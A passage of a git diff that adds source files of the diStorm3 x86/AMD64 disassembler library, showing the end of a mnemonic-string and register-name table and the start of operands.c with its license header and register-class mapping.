+"\x09" "CVTTSS2SI\0" "\x09" "CVTTSD2SI\0" "\x0a" "VCVTTSS2SI\0" "\x0a" "VCVTTSD2SI\0" \
+"\x08" "CVTPS2PI\0" "\x08" "CVTPD2PI\0" "\x08" "CVTSS2SI\0" "\x08" "CVTSD2SI\0" \
+"\x09" "VCVTSS2SI\0" "\x09" "VCVTSD2SI\0" "\x07" "UCOMISS\0" "\x07" "UCOMISD\0" \
+"\x08" "VUCOMISS\0" "\x08" "VUCOMISD\0" "\x06" "COMISS\0" "\x06" "COMISD\0" \
+"\x07" "VCOMISS\0" "\x07" "VCOMISD\0" "\x08" "MOVMSKPS\0" "\x08" "MOVMSKPD\0" \
+"\x09" "VMOVMSKPS\0" "\x09" "VMOVMSKPD\0" "\x06" "SQRTPS\0" "\x06" "SQRTPD\0" \
+"\x06" "SQRTSS\0" "\x06" "SQRTSD\0" "\x07" "VSQRTPS\0" "\x07" "VSQRTPD\0" "\x07" "VSQRTSS\0" \
+"\x07" "VSQRTSD\0" "\x07" "RSQRTPS\0" "\x07" "RSQRTSS\0" "\x08" "VRSQRTPS\0" \
+"\x08" "VRSQRTSS\0" "\x05" "RCPPS\0" "\x05" "RCPSS\0" "\x06" "VRCPPS\0" "\x06" "VRCPSS\0" \
+"\x05" "ANDPS\0" "\x05" "ANDPD\0" "\x06" "VANDPS\0" "\x06" "VANDPD\0" "\x06" "ANDNPS\0" \
+"\x06" "ANDNPD\0" "\x07" "VANDNPS\0" "\x07" "VANDNPD\0" "\x04" "ORPS\0" "\x04" "ORPD\0" \
+"\x05" "VORPS\0" "\x05" "VORPD\0" "\x05" "XORPS\0" "\x05" "XORPD\0" "\x06" "VXORPS\0" \
+"\x06" "VXORPD\0" "\x05" "ADDPS\0" "\x05" "ADDPD\0" "\x05" "ADDSS\0" "\x05" "ADDSD\0" \
+"\x06" "VADDPS\0" "\x06" "VADDPD\0" "\x06" "VADDSS\0" "\x06" "VADDSD\0" "\x05" "MULPS\0" \
+"\x05" "MULPD\0" "\x05" "MULSS\0" "\x05" "MULSD\0" "\x06" "VMULPS\0" "\x06" "VMULPD\0" \
+"\x06" "VMULSS\0" "\x06" "VMULSD\0" "\x08" "CVTPS2PD\0" "\x08" "CVTPD2PS\0" \
+"\x08" "CVTSS2SD\0" "\x08" "CVTSD2SS\0" "\x09" "VCVTPS2PD\0" "\x09" "VCVTPD2PS\0" \
+"\x09" "VCVTSS2SD\0" "\x09" "VCVTSD2SS\0" "\x08" "CVTDQ2PS\0" "\x08" "CVTPS2DQ\0" \
+"\x09" "CVTTPS2DQ\0" "\x09" "VCVTDQ2PS\0" "\x09" "VCVTPS2DQ\0" "\x0a" "VCVTTPS2DQ\0" \
+"\x05" "SUBPS\0" "\x05" "SUBPD\0" "\x05" "SUBSS\0" "\x05" "SUBSD\0" "\x06" "VSUBPS\0" \
+"\x06" "VSUBPD\0" "\x06" "VSUBSS\0" "\x06" "VSUBSD\0" "\x05" "MINPS\0" "\x05" "MINPD\0" \
+"\x05" "MINSS\0" "\x05" "MINSD\0" "\x06" "VMINPS\0" "\x06" "VMINPD\0" "\x06" "VMINSS\0" \
+"\x06" "VMINSD\0" "\x05" "DIVPS\0" "\x05" "DIVPD\0" "\x05" "DIVSS\0" "\x05" "DIVSD\0" \
+"\x06" "VDIVPS\0" "\x06" "VDIVPD\0" "\x06" "VDIVSS\0" "\x06" "VDIVSD\0" "\x05" "MAXPS\0" \
+"\x05" "MAXPD\0" "\x05" "MAXSS\0" "\x05" "MAXSD\0" "\x06" "VMAXPS\0" "\x06" "VMAXPD\0" \
+"\x06" "VMAXSS\0" "\x06" "VMAXSD\0" "\x09" "PUNPCKLBW\0" "\x0a" "VPUNPCKLBW\0" \
+"\x09" "PUNPCKLWD\0" "\x0a" "VPUNPCKLWD\0" "\x09" "PUNPCKLDQ\0" "\x0a" "VPUNPCKLDQ\0" \
+"\x08" "PACKSSWB\0" "\x09" "VPACKSSWB\0" "\x07" "PCMPGTB\0" "\x08" "VPCMPGTB\0" \
+"\x07" "PCMPGTW\0" "\x08" "VPCMPGTW\0" "\x07" "PCMPGTD\0" "\x08" "VPCMPGTD\0" \
+"\x08" "PACKUSWB\0" "\x09" "VPACKUSWB\0" "\x09" "PUNPCKHBW\0" "\x0a" "VPUNPCKHBW\0" \
+"\x09" "PUNPCKHWD\0" "\x0a" "VPUNPCKHWD\0" "\x09" "PUNPCKHDQ\0" "\x0a" "VPUNPCKHDQ\0" \
+"\x08" "PACKSSDW\0" "\x09" "VPACKSSDW\0" "\x0a" "PUNPCKLQDQ\0" "\x0b" "VPUNPCKLQDQ\0" \
+"\x0a" "PUNPCKHQDQ\0" "\x0b" "VPUNPCKHQDQ\0" "\x04" "MOVD\0" "\x04" "MOVQ\0" \
+"\x05" "VMOVD\0" "\x05" "VMOVQ\0" "\x06" "MOVDQA\0" "\x06" "MOVDQU\0" "\x07" "VMOVDQA\0" \
+"\x07" "VMOVDQU\0" "\x06" "PSHUFW\0" "\x06" "PSHUFD\0" "\x07" "PSHUFHW\0" "\x07" "PSHUFLW\0" \
+"\x07" "VPSHUFD\0" "\x08" "VPSHUFHW\0" "\x08" "VPSHUFLW\0" "\x07" "PCMPEQB\0" \
+"\x08" "VPCMPEQB\0" "\x07" "PCMPEQW\0" "\x08" "VPCMPEQW\0" "\x07" "PCMPEQD\0" \
+"\x08" "VPCMPEQD\0" "\x04" "EMMS\0" "\x0a" "VZEROUPPER\0" "\x08" "VZEROALL\0" \
+"\x06" "VMREAD\0" "\x05" "EXTRQ\0" "\x07" "INSERTQ\0" "\x07" "VMWRITE\0" "\x08" "CVTPH2PS\0" \
+"\x08" "CVTPS2PH\0" "\x06" "HADDPD\0" "\x06" "HADDPS\0" "\x07" "VHADDPD\0" \
+"\x07" "VHADDPS\0" "\x06" "HSUBPD\0" "\x06" "HSUBPS\0" "\x07" "VHSUBPD\0" "\x07" "VHSUBPS\0" \
+"\x05" "XSAVE\0" "\x07" "XSAVE64\0" "\x06" "LFENCE\0" "\x06" "XRSTOR\0" "\x08" "XRSTOR64\0" \
+"\x06" "MFENCE\0" "\x08" "XSAVEOPT\0" "\x0a" "XSAVEOPT64\0" "\x06" "SFENCE\0" \
+"\x07" "CLFLUSH\0" "\x06" "POPCNT\0" "\x03" "BSF\0" "\x05" "TZCNT\0" "\x03" "BSR\0" \
+"\x05" "LZCNT\0" "\x07" "CMPEQPS\0" "\x07" "CMPLTPS\0" "\x07" "CMPLEPS\0" "\x0a" "CMPUNORDPS\0" \
+"\x08" "CMPNEQPS\0" "\x08" "CMPNLTPS\0" "\x08" "CMPNLEPS\0" "\x08" "CMPORDPS\0" \
+"\x07" "CMPEQPD\0" "\x07" "CMPLTPD\0" "\x07" "CMPLEPD\0" "\x0a" "CMPUNORDPD\0" \
+"\x08" "CMPNEQPD\0" "\x08" "CMPNLTPD\0" "\x08" "CMPNLEPD\0" "\x08" "CMPORDPD\0" \
+"\x07" "CMPEQSS\0" "\x07" "CMPLTSS\0" "\x07" "CMPLESS\0" "\x0a" "CMPUNORDSS\0" \
+"\x08" "CMPNEQSS\0" "\x08" "CMPNLTSS\0" "\x08" "CMPNLESS\0" "\x08" "CMPORDSS\0" \
+"\x07" "CMPEQSD\0" "\x07" "CMPLTSD\0" "\x07" "CMPLESD\0" "\x0a" "CMPUNORDSD\0" \
+"\x08" "CMPNEQSD\0" "\x08" "CMPNLTSD\0" "\x08" "CMPNLESD\0" "\x08" "CMPORDSD\0" \
+"\x08" "VCMPEQPS\0" "\x08" "VCMPLTPS\0" "\x08" "VCMPLEPS\0" "\x0b" "VCMPUNORDPS\0" \
+"\x09" "VCMPNEQPS\0" "\x09" "VCMPNLTPS\0" "\x09" "VCMPNLEPS\0" "\x09" "VCMPORDPS\0" \
+"\x0b" "VCMPEQ_UQPS\0" "\x09" "VCMPNGEPS\0" "\x09" "VCMPNGTPS\0" "\x0b" "VCMPFALSEPS\0" \
+"\x0c" "VCMPNEQ_OQPS\0" "\x08" "VCMPGEPS\0" "\x08" "VCMPGTPS\0" "\x0a" "VCMPTRUEPS\0" \
+"\x0b" "VCMPEQ_OSPS\0" "\x0b" "VCMPLT_OQPS\0" "\x0b" "VCMPLE_OQPS\0" "\x0d" "VCMPUNORD_SPS\0" \
+"\x0c" "VCMPNEQ_USPS\0" "\x0c" "VCMPNLT_UQPS\0" "\x0c" "VCMPNLE_UQPS\0" "\x0b" "VCMPORD_SPS\0" \
+"\x0b" "VCMPEQ_USPS\0" "\x0c" "VCMPNGE_UQPS\0" "\x0c" "VCMPNGT_UQPS\0" "\x0e" "VCMPFALSE_OSPS\0" \
+"\x0c" "VCMPNEQ_OSPS\0" "\x0b" "VCMPGE_OQPS\0" "\x0b" "VCMPGT_OQPS\0" "\x0d" "VCMPTRUE_USPS\0" \
+"\x08" "VCMPEQPD\0" "\x08" "VCMPLTPD\0" "\x08" "VCMPLEPD\0" "\x0b" "VCMPUNORDPD\0" \
+"\x09" "VCMPNEQPD\0" "\x09" "VCMPNLTPD\0" "\x09" "VCMPNLEPD\0" "\x09" "VCMPORDPD\0" \
+"\x0b" "VCMPEQ_UQPD\0" "\x09" "VCMPNGEPD\0" "\x09" "VCMPNGTPD\0" "\x0b" "VCMPFALSEPD\0" \
+"\x0c" "VCMPNEQ_OQPD\0" "\x08" "VCMPGEPD\0" "\x08" "VCMPGTPD\0" "\x0a" "VCMPTRUEPD\0" \
+"\x0b" "VCMPEQ_OSPD\0" "\x0b" "VCMPLT_OQPD\0" "\x0b" "VCMPLE_OQPD\0" "\x0d" "VCMPUNORD_SPD\0" \
+"\x0c" "VCMPNEQ_USPD\0" "\x0c" "VCMPNLT_UQPD\0" "\x0c" "VCMPNLE_UQPD\0" "\x0b" "VCMPORD_SPD\0" \
+"\x0b" "VCMPEQ_USPD\0" "\x0c" "VCMPNGE_UQPD\0" "\x0c" "VCMPNGT_UQPD\0" "\x0e" "VCMPFALSE_OSPD\0" \
+"\x0c" "VCMPNEQ_OSPD\0" "\x0b" "VCMPGE_OQPD\0" "\x0b" "VCMPGT_OQPD\0" "\x0d" "VCMPTRUE_USPD\0" \
+"\x08" "VCMPEQSS\0" "\x08" "VCMPLTSS\0" "\x08" "VCMPLESS\0" "\x0b" "VCMPUNORDSS\0" \
+"\x09" "VCMPNEQSS\0" "\x09" "VCMPNLTSS\0" "\x09" "VCMPNLESS\0" "\x09" "VCMPORDSS\0" \
+"\x0b" "VCMPEQ_UQSS\0" "\x09" "VCMPNGESS\0" "\x09" "VCMPNGTSS\0" "\x0b" "VCMPFALSESS\0" \
+"\x0c" "VCMPNEQ_OQSS\0" "\x08" "VCMPGESS\0" "\x08" "VCMPGTSS\0" "\x0a" "VCMPTRUESS\0" \
+"\x0b" "VCMPEQ_OSSS\0" "\x0b" "VCMPLT_OQSS\0" "\x0b" "VCMPLE_OQSS\0" "\x0d" "VCMPUNORD_SSS\0" \
+"\x0c" "VCMPNEQ_USSS\0" "\x0c" "VCMPNLT_UQSS\0" "\x0c" "VCMPNLE_UQSS\0" "\x0b" "VCMPORD_SSS\0" \
+"\x0b" "VCMPEQ_USSS\0" "\x0c" "VCMPNGE_UQSS\0" "\x0c" "VCMPNGT_UQSS\0" "\x0e" "VCMPFALSE_OSSS\0" \
+"\x0c" "VCMPNEQ_OSSS\0" "\x0b" "VCMPGE_OQSS\0" "\x0b" "VCMPGT_OQSS\0" "\x0d" "VCMPTRUE_USSS\0" \
+"\x08" "VCMPEQSD\0" "\x08" "VCMPLTSD\0" "\x08" "VCMPLESD\0" "\x0b" "VCMPUNORDSD\0" \
+"\x09" "VCMPNEQSD\0" "\x09" "VCMPNLTSD\0" "\x09" "VCMPNLESD\0" "\x09" "VCMPORDSD\0" \
+"\x0b" "VCMPEQ_UQSD\0" "\x09" "VCMPNGESD\0" "\x09" "VCMPNGTSD\0" "\x0b" "VCMPFALSESD\0" \
+"\x0c" "VCMPNEQ_OQSD\0" "\x08" "VCMPGESD\0" "\x08" "VCMPGTSD\0" "\x0a" "VCMPTRUESD\0" \
+"\x0b" "VCMPEQ_OSSD\0" "\x0b" "VCMPLT_OQSD\0" "\x0b" "VCMPLE_OQSD\0" "\x0d" "VCMPUNORD_SSD\0" \
+"\x0c" "VCMPNEQ_USSD\0" "\x0c" "VCMPNLT_UQSD\0" "\x0c" "VCMPNLE_UQSD\0" "\x0b" "VCMPORD_SSD\0" \
+"\x0b" "VCMPEQ_USSD\0" "\x0c" "VCMPNGE_UQSD\0" "\x0c" "VCMPNGT_UQSD\0" "\x0e" "VCMPFALSE_OSSD\0" \
+"\x0c" "VCMPNEQ_OSSD\0" "\x0b" "VCMPGE_OQSD\0" "\x0b" "VCMPGT_OQSD\0" "\x0d" "VCMPTRUE_USSD\0" \
+"\x06" "PINSRW\0" "\x07" "VPINSRW\0" "\x06" "PEXTRW\0" "\x07" "VPEXTRW\0" "\x06" "SHUFPS\0" \
+"\x06" "SHUFPD\0" "\x07" "VSHUFPS\0" "\x07" "VSHUFPD\0" "\x09" "CMPXCHG8B\0" \
+"\x0a" "CMPXCHG16B\0" "\x07" "VMPTRST\0" "\x08" "ADDSUBPD\0" "\x08" "ADDSUBPS\0" \
+"\x09" "VADDSUBPD\0" "\x09" "VADDSUBPS\0" "\x05" "PSRLW\0" "\x06" "VPSRLW\0" \
+"\x05" "PSRLD\0" "\x06" "VPSRLD\0" "\x05" "PSRLQ\0" "\x06" "VPSRLQ\0" "\x05" "PADDQ\0" \
+"\x06" "VPADDQ\0" "\x06" "PMULLW\0" "\x07" "VPMULLW\0" "\x07" "MOVQ2DQ\0" "\x07" "MOVDQ2Q\0" \
+"\x08" "PMOVMSKB\0" "\x09" "VPMOVMSKB\0" "\x07" "PSUBUSB\0" "\x08" "VPSUBUSB\0" \
+"\x07" "PSUBUSW\0" "\x08" "VPSUBUSW\0" "\x06" "PMINUB\0" "\x07" "VPMINUB\0" \
+"\x04" "PAND\0" "\x05" "VPAND\0" "\x07" "PADDUSB\0" "\x08" "VPADDUSW\0" "\x07" "PADDUSW\0" \
+"\x06" "PMAXUB\0" "\x07" "VPMAXUB\0" "\x05" "PANDN\0" "\x06" "VPANDN\0" "\x05" "PAVGB\0" \
+"\x06" "VPAVGB\0" "\x05" "PSRAW\0" "\x06" "VPSRAW\0" "\x05" "PSRAD\0" "\x06" "VPSRAD\0" \
+"\x05" "PAVGW\0" "\x06" "VPAVGW\0" "\x07" "PMULHUW\0" "\x08" "VPMULHUW\0" "\x06" "PMULHW\0" \
+"\x07" "VPMULHW\0" "\x09" "CVTTPD2DQ\0" "\x08" "CVTDQ2PD\0" "\x08" "CVTPD2DQ\0" \
+"\x0a" "VCVTTPD2DQ\0" "\x09" "VCVTDQ2PD\0" "\x09" "VCVTPD2DQ\0" "\x06" "MOVNTQ\0" \
+"\x07" "MOVNTDQ\0" "\x08" "VMOVNTDQ\0" "\x06" "PSUBSB\0" "\x07" "VPSUBSB\0" \
+"\x06" "PSUBSW\0" "\x07" "VPSUBSW\0" "\x06" "PMINSW\0" "\x07" "VPMINSW\0" "\x03" "POR\0" \
+"\x04" "VPOR\0" "\x06" "PADDSB\0" "\x07" "VPADDSB\0" "\x06" "PADDSW\0" "\x07" "VPADDSW\0" \
+"\x06" "PMAXSW\0" "\x07" "VPMAXSW\0" "\x04" "PXOR\0" "\x05" "VPXOR\0" "\x05" "LDDQU\0" \
+"\x06" "VLDDQU\0" "\x05" "PSLLW\0" "\x06" "VPSLLW\0" "\x05" "PSLLD\0" "\x06" "VPSLLD\0" \
+"\x05" "PSLLQ\0" "\x06" "VPSLLQ\0" "\x07" "PMULUDQ\0" "\x08" "VPMULUDQ\0" "\x07" "PMADDWD\0" \
+"\x08" "VPMADDWD\0" "\x06" "PSADBW\0" "\x07" "VPSADBW\0" "\x08" "MASKMOVQ\0" \
+"\x0a" "MASKMOVDQU\0" "\x0b" "VMASKMOVDQU\0" "\x05" "PSUBB\0" "\x06" "VPSUBB\0" \
+"\x05" "PSUBW\0" "\x06" "VPSUBW\0" "\x05" "PSUBD\0" "\x06" "VPSUBD\0" "\x05" "PSUBQ\0" \
+"\x06" "VPSUBQ\0" "\x05" "PADDB\0" "\x06" "VPADDB\0" "\x05" "PADDW\0" "\x06" "VPADDW\0" \
+"\x05" "PADDD\0" "\x06" "VPADDD\0" "\x07" "FNSTENV\0" "\x06" "FSTENV\0" "\x06" "FNSTCW\0" \
+"\x05" "FSTCW\0" "\x06" "FNCLEX\0" "\x05" "FCLEX\0" "\x06" "FNINIT\0" "\x05" "FINIT\0" \
+"\x06" "FNSAVE\0" "\x05" "FSAVE\0" "\x06" "FNSTSW\0" "\x05" "FSTSW\0" "\x06" "PSHUFB\0" \
+"\x07" "VPSHUFB\0" "\x06" "PHADDW\0" "\x07" "VPHADDW\0" "\x06" "PHADDD\0" "\x07" "VPHADDD\0" \
+"\x07" "PHADDSW\0" "\x08" "VPHADDSW\0" "\x09" "PMADDUBSW\0" "\x0a" "VPMADDUBSW\0" \
+"\x06" "PHSUBW\0" "\x07" "VPHSUBW\0" "\x06" "PHSUBD\0" "\x07" "VPHSUBD\0" "\x07" "PHSUBSW\0" \
+"\x08" "VPHSUBSW\0" "\x06" "PSIGNB\0" "\x07" "VPSIGNB\0" "\x06" "PSIGNW\0" \
+"\x07" "VPSIGNW\0" "\x06" "PSIGND\0" "\x07" "VPSIGND\0" "\x08" "PMULHRSW\0" \
+"\x09" "VPMULHRSW\0" "\x09" "VPERMILPS\0" "\x09" "VPERMILPD\0" "\x07" "VTESTPS\0" \
+"\x07" "VTESTPD\0" "\x08" "PBLENDVB\0" "\x08" "BLENDVPS\0" "\x08" "BLENDVPD\0" \
+"\x05" "PTEST\0" "\x06" "VPTEST\0" "\x0c" "VBROADCASTSS\0" "\x0c" "VBROADCASTSD\0" \
+"\x0e" "VBROADCASTF128\0" "\x05" "PABSB\0" "\x06" "VPABSB\0" "\x05" "PABSW\0" \
+"\x06" "VPABSW\0" "\x05" "PABSD\0" "\x06" "VPABSD\0" "\x08" "PMOVSXBW\0" "\x09" "VPMOVSXBW\0" \
+"\x08" "PMOVSXBD\0" "\x09" "VPMOVSXBD\0" "\x08" "PMOVSXBQ\0" "\x09" "VPMOVSXBQ\0" \
+"\x08" "PMOVSXWD\0" "\x09" "VPMOVSXWD\0" "\x08" "PMOVSXWQ\0" "\x09" "VPMOVSXWQ\0" \
+"\x08" "PMOVSXDQ\0" "\x09" "VPMOVSXDQ\0" "\x06" "PMULDQ\0" "\x07" "VPMULDQ\0" \
+"\x07" "PCMPEQQ\0" "\x08" "VPCMPEQQ\0" "\x08" "MOVNTDQA\0" "\x09" "VMOVNTDQA\0" \
+"\x08" "PACKUSDW\0" "\x09" "VPACKUSDW\0" "\x0a" "VMASKMOVPS\0" "\x0a" "VMASKMOVPD\0" \
+"\x08" "PMOVZXBW\0" "\x09" "VPMOVZXBW\0" "\x08" "PMOVZXBD\0" "\x09" "VPMOVZXBD\0" \
+"\x08" "PMOVZXBQ\0" "\x09" "VPMOVZXBQ\0" "\x08" "PMOVZXWD\0" "\x09" "VPMOVZXWD\0" \
+"\x08" "PMOVZXWQ\0" "\x09" "VPMOVZXWQ\0" "\x08" "PMOVZXDQ\0" "\x09" "VPMOVZXDQ\0" \
+"\x07" "PCMPGTQ\0" "\x08" "VPCMPGTQ\0" "\x06" "PMINSB\0" "\x07" "VPMINSB\0" \
+"\x06" "PMINSD\0" "\x07" "VPMINSD\0" "\x06" "PMINUW\0" "\x07" "VPMINUW\0" "\x06" "PMINUD\0" \
+"\x07" "VPMINUD\0" "\x06" "PMAXSB\0" "\x07" "VPMAXSB\0" "\x06" "PMAXSD\0" "\x07" "VPMAXSD\0" \
+"\x06" "PMAXUW\0" "\x07" "VPMAXUW\0" "\x06" "PMAXUD\0" "\x07" "VPMAXUD\0" "\x06" "PMULLD\0" \
+"\x07" "VPMULLD\0" "\x0a" "PHMINPOSUW\0" "\x0b" "VPHMINPOSUW\0" "\x06" "INVEPT\0" \
+"\x07" "INVVPID\0" "\x07" "INVPCID\0" "\x0e" "VFMADDSUB132PS\0" "\x0e" "VFMADDSUB132PD\0" \
+"\x0e" "VFMSUBADD132PS\0" "\x0e" "VFMSUBADD132PD\0" "\x0b" "VFMADD132PS\0" \
+"\x0b" "VFMADD132PD\0" "\x0b" "VFMADD132SS\0" "\x0b" "VFMADD132SD\0" "\x0b" "VFMSUB132PS\0" \
+"\x0b" "VFMSUB132PD\0" "\x0b" "VFMSUB132SS\0" "\x0b" "VFMSUB132SD\0" "\x0c" "VFNMADD132PS\0" \
+"\x0c" "VFNMADD132PD\0" "\x0c" "VFNMADD132SS\0" "\x0c" "VFNMADD132SD\0" "\x0c" "VFNMSUB132PS\0" \
+"\x0c" "VFNMSUB132PD\0" "\x0c" "VFNMSUB132SS\0" "\x0c" "VFNMSUB132SD\0" "\x0e" "VFMADDSUB213PS\0" \
+"\x0e" "VFMADDSUB213PD\0" "\x0e" "VFMSUBADD213PS\0" "\x0e" "VFMSUBADD213PD\0" \
+"\x0b" "VFMADD213PS\0" "\x0b" "VFMADD213PD\0" "\x0b" "VFMADD213SS\0" "\x0b" "VFMADD213SD\0" \
+"\x0b" "VFMSUB213PS\0" "\x0b" "VFMSUB213PD\0" "\x0b" "VFMSUB213SS\0" "\x0b" "VFMSUB213SD\0" \
+"\x0c" "VFNMADD213PS\0" "\x0c" "VFNMADD213PD\0" "\x0c" "VFNMADD213SS\0" "\x0c" "VFNMADD213SD\0" \
+"\x0c" "VFNMSUB213PS\0" "\x0c" "VFNMSUB213PD\0" "\x0c" "VFNMSUB213SS\0" "\x0c" "VFNMSUB213SD\0" \
+"\x0e" "VFMADDSUB231PS\0" "\x0e" "VFMADDSUB231PD\0" "\x0e" "VFMSUBADD231PS\0" \
+"\x0e" "VFMSUBADD231PD\0" "\x0b" "VFMADD231PS\0" "\x0b" "VFMADD231PD\0" "\x0b" "VFMADD231SS\0" \
+"\x0b" "VFMADD231SD\0" "\x0b" "VFMSUB231PS\0" "\x0b" "VFMSUB231PD\0" "\x0b" "VFMSUB231SS\0" \
+"\x0b" "VFMSUB231SD\0" "\x0c" "VFNMADD231PS\0" "\x0c" "VFNMADD231PD\0" "\x0c" "VFNMADD231SS\0" \
+"\x0c" "VFNMADD231SD\0" "\x0c" "VFNMSUB231PS\0" "\x0c" "VFNMSUB231PD\0" "\x0c" "VFNMSUB231SS\0" \
+"\x0c" "VFNMSUB231SD\0" "\x06" "AESIMC\0" "\x07" "VAESIMC\0" "\x06" "AESENC\0" \
+"\x07" "VAESENC\0" "\x0a" "AESENCLAST\0" "\x0b" "VAESENCLAST\0" "\x06" "AESDEC\0" \
+"\x07" "VAESDEC\0" "\x0a" "AESDECLAST\0" "\x0b" "VAESDECLAST\0" "\x05" "MOVBE\0" \
+"\x05" "CRC32\0" "\x0a" "VPERM2F128\0" "\x07" "ROUNDPS\0" "\x08" "VROUNDPS\0" \
+"\x07" "ROUNDPD\0" "\x08" "VROUNDPD\0" "\x07" "ROUNDSS\0" "\x08" "VROUNDSS\0" \
+"\x07" "ROUNDSD\0" "\x08" "VROUNDSD\0" "\x07" "BLENDPS\0" "\x08" "VBLENDPS\0" \
+"\x07" "BLENDPD\0" "\x08" "VBLENDPD\0" "\x07" "PBLENDW\0" "\x08" "VPBLENDW\0" \
+"\x07" "PALIGNR\0" "\x08" "VPALIGNR\0" "\x06" "PEXTRB\0" "\x07" "VPEXTRB\0" \
+"\x06" "PEXTRD\0" "\x06" "PEXTRQ\0" "\x07" "VPEXTRD\0" "\x07" "VPEXTRQ\0" "\x09" "EXTRACTPS\0" \
+"\x0a" "VEXTRACTPS\0" "\x0b" "VINSERTF128\0" "\x0c" "VEXTRACTF128\0" "\x06" "PINSRB\0" \
+"\x07" "VPINSRB\0" "\x08" "INSERTPS\0" "\x09" "VINSERTPS\0" "\x06" "PINSRD\0" \
+"\x06" "PINSRQ\0" "\x07" "VPINSRD\0" "\x07" "VPINSRQ\0" "\x04" "DPPS\0" "\x05" "VDPPS\0" \
+"\x04" "DPPD\0" "\x05" "VDPPD\0" "\x07" "MPSADBW\0" "\x08" "VMPSADBW\0" "\x09" "PCLMULQDQ\0" \
+"\x0a" "VPCLMULQDQ\0" "\x09" "VBLENDVPS\0" "\x09" "VBLENDVPD\0" "\x09" "VPBLENDVB\0" \
+"\x09" "PCMPESTRM\0" "\x0a" "VPCMPESTRM\0" "\x09" "PCMPESTRI\0" "\x0a" "VPCMPESTRI\0" \
+"\x09" "PCMPISTRM\0" "\x0a" "VPCMPISTRM\0" "\x09" "PCMPISTRI\0" "\x0a" "VPCMPISTRI\0" \
+"\x0f" "AESKEYGENASSIST\0" "\x10" "VAESKEYGENASSIST\0" "\x06" "PSRLDQ\0" "\x07" "VPSRLDQ\0" \
+"\x06" "PSLLDQ\0" "\x07" "VPSLLDQ\0" "\x06" "FXSAVE\0" "\x08" "FXSAVE64\0" \
+"\x08" "RDFSBASE\0" "\x07" "FXRSTOR\0" "\x09" "FXRSTOR64\0" "\x08" "RDGSBASE\0" \
+"\x07" "LDMXCSR\0" "\x08" "WRFSBASE\0" "\x08" "VLDMXCSR\0" "\x07" "STMXCSR\0" \
+"\x08" "WRGSBASE\0" "\x08" "VSTMXCSR\0" "\x07" "VMPTRLD\0" "\x07" "VMCLEAR\0" \
+"\x05" "VMXON\0" "\x06" "MOVSXD\0" "\x05" "PAUSE\0" "\x04" "WAIT\0" "\x06" "RDRAND\0" \
+"\x06" "_3DNOW\0";
+
+const _WRegister _REGISTERS[] = {
+ { 3, "RAX" }, { 3, "RCX" }, { 3, "RDX" }, { 3, "RBX" }, { 3, "RSP" }, { 3, "RBP" }, { 3, "RSI" }, { 3, "RDI" }, { 2, "R8" }, { 2, "R9" }, { 3, "R10" }, { 3, "R11" }, { 3, "R12" }, { 3, "R13" }, { 3, "R14" }, { 3, "R15" },
+ { 3, "EAX" }, { 3, "ECX" }, { 3, "EDX" }, { 3, "EBX" }, { 3, "ESP" }, { 3, "EBP" }, { 3, "ESI" }, { 3, "EDI" }, { 3, "R8D" }, { 3, "R9D" }, { 4, "R10D" }, { 4, "R11D" }, { 4, "R12D" }, { 4, "R13D" }, { 4, "R14D" }, { 4, "R15D" },
+ { 2, "AX" }, { 2, "CX" }, { 2, "DX" }, { 2, "BX" }, { 2, "SP" }, { 2, "BP" }, { 2, "SI" }, { 2, "DI" }, { 3, "R8W" }, { 3, "R9W" }, { 4, "R10W" }, { 4, "R11W" }, { 4, "R12W" }, { 4, "R13W" }, { 4, "R14W" }, { 4, "R15W" },
+ { 2, "AL" }, { 2, "CL" }, { 2, "DL" }, { 2, "BL" }, { 2, "AH" }, { 2, "CH" }, { 2, "DH" }, { 2, "BH" }, { 3, "R8B" }, { 3, "R9B" }, { 4, "R10B" }, { 4, "R11B" }, { 4, "R12B" }, { 4, "R13B" }, { 4, "R14B" }, { 4, "R15B" },
+ { 3, "SPL" }, { 3, "BPL" }, { 3, "SIL" }, { 3, "DIL" },
+ { 2, "ES" }, { 2, "CS" }, { 2, "SS" }, { 2, "DS" }, { 2, "FS" }, { 2, "GS" },
+ { 3, "RIP" },
+ { 3, "ST0" }, { 3, "ST1" }, { 3, "ST2" }, { 3, "ST3" }, { 3, "ST4" }, { 3, "ST5" }, { 3, "ST6" }, { 3, "ST7" },
+ { 3, "MM0" }, { 3, "MM1" }, { 3, "MM2" }, { 3, "MM3" }, { 3, "MM4" }, { 3, "MM5" }, { 3, "MM6" }, { 3, "MM7" },
+ { 4, "XMM0" }, { 4, "XMM1" }, { 4, "XMM2" }, { 4, "XMM3" }, { 4, "XMM4" }, { 4, "XMM5" }, { 4, "XMM6" }, { 4, "XMM7" }, { 4, "XMM8" }, { 4, "XMM9" }, { 5, "XMM10" }, { 5, "XMM11" }, { 5, "XMM12" }, { 5, "XMM13" }, { 5, "XMM14" }, { 5, "XMM15" },
+ { 4, "YMM0" }, { 4, "YMM1" }, { 4, "YMM2" }, { 4, "YMM3" }, { 4, "YMM4" }, { 4, "YMM5" }, { 4, "YMM6" }, { 4, "YMM7" }, { 4, "YMM8" }, { 4, "YMM9" }, { 5, "YMM10" }, { 5, "YMM11" }, { 5, "YMM12" }, { 5, "YMM13" }, { 5, "YMM14" }, { 5, "YMM15" },
+ { 3, "CR0" }, { 0, "" }, { 3, "CR2" }, { 3, "CR3" }, { 3, "CR4" }, { 0, "" }, { 0, "" }, { 0, "" }, { 3, "CR8" },
+ { 3, "DR0" }, { 3, "DR1" }, { 3, "DR2" }, { 3, "DR3" }, { 0, "" }, { 0, "" }, { 3, "DR6" }, { 3, "DR7" }
+};
+
+#endif /* DISTORM_LIGHT */
diff --git a/source/distorm/operands.c b/source/distorm/operands.c
new file mode 100644
index 0000000..d7cf1a7
--- /dev/null
+++ b/source/distorm/operands.c
@@ -0,0 +1,1291 @@
+/*
+operands.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "config.h"
+#include "operands.h"
+#include "x86defs.h"
+#include "insts.h"
+#include "distorm/mnemonics.h"
+#include "compat.h"
+
+
+/* Maps a register to its register-class mask. */
+uint32_t _REGISTERTORCLASS[] = /* Based on _RegisterType enumeration! */
+{RM_AX, RM_CX, RM_DX, RM_BX, RM_SP, RM_BP, RM_SI, RM_DI, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15,
